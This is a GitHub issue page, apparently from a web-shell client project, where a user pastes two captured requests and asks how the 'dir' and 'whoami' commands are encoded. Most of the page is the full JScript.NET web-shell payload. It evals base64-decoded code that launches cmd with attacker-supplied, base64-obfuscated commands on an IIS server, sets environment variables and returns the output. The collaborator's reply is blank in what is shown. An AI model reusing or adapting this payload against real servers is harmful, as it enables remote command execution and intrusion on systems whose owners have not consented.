Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

how it work? #353

Open
Sqliman opened this issue Mar 24, 2024 · 1 comment
Open

how it work? #353

Sqliman opened this issue Mar 24, 2024 · 1 comment

Comments

@Sqliman
Copy link

Sqliman commented Mar 24, 2024

1 request(dir)
86d3=Response.Write("d681f" "ad4cba");var err:Exception;try{eval(System.Text.Encoding.GetEncoding("UTF-8").GetString(System.Convert.FromBase64String("var c=new System.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding("UTF-8").GetString(System.Convert.FromBase64String(Request.Item["tce6a06fd985ff"].substr(2))));var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c "+System.Text.Encoding.GetEncoding("UTF-8").GetString(System.Convert.FromBase64String(Request.Item["s6944bca71c08e"].substr(2)));if(Request.Item["u56b7825a1a38d"].substr(2)) {var envstr = System.Text.Encoding.GetEncoding("UTF-8").GetString(System.Convert.FromBase64String(Request.Item["u56b7825a1a38d"].substr(2)));var envarr = envstr.split("|||asline|||");var i;for (var i in envarr) {var ss = envarr[i].split("|||askey|||");if (ss.length != 2) {continue;}c.EnvironmentVariables.Add(ss[0],ss[1]);}}e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd() + EI.ReadToEnd());")),"unsafe");}catch(err){Response.Write("ERROR:// " err.message);}Response.Write("d80f5" "3bc54");Response.End();&s6944bca71c08e=QEY2QgL2QgIkM6L2luZXRwdWIvd3d3cm9vdC9hc3BuZXRfY2xpZW50IiZkaXImZWNobyA5YzVmZjI0OTRkZCZjZCZlY2hvIDJiNmZiOA==&tce6a06fd985ff=i4Y21k&u56b7825a1a38d=FY

2 reqeust(whoami)
86d3=Response.Write("f60" "b83");var err:Exception;try{eval(System.Text.Encoding.GetEncoding("UTF-8").GetString(System.Convert.FromBase64String("var c=new System.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding("UTF-8").GetString(System.Convert.FromBase64String(Request.Item["tce6a06fd985ff"].substr(2))));var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c "+System.Text.Encoding.GetEncoding("UTF-8").GetString(System.Convert.FromBase64String(Request.Item["s6944bca71c08e"].substr(2)));if(Request.Item["u56b7825a1a38d"].substr(2)) {var envstr = System.Text.Encoding.GetEncoding("UTF-8").GetString(System.Convert.FromBase64String(Request.Item["u56b7825a1a38d"].substr(2)));var envarr = envstr.split("|||asline|||");var i;for (var i in envarr) {var ss = envarr[i].split("|||askey|||");if (ss.length != 2) {continue;}c.EnvironmentVariables.Add(ss[0],ss[1]);}}e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd() + EI.ReadToEnd());")),"unsafe");}catch(err){Response.Write("ERROR:// " err.message);}Response.Write("beb" "a80d");Response.End();&s6944bca71c08e=zmY2QgL2QgIkM6XFxpbmV0cHViXFx3d3dyb290XFxhc3BuZXRfY2xpZW50IiZ3aG9hbWkmZWNobyA5YzVmZjI0OTRkZCZjZCZlY2hvIDJiNmZiOA==&tce6a06fd985ff=G6Y21k&u56b7825a1a38d=aG

Question: how does it work? How is whoami/dir encoded? In what function?

@Medicean
Copy link
Collaborator

Medicean commented Apr 1, 2024

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants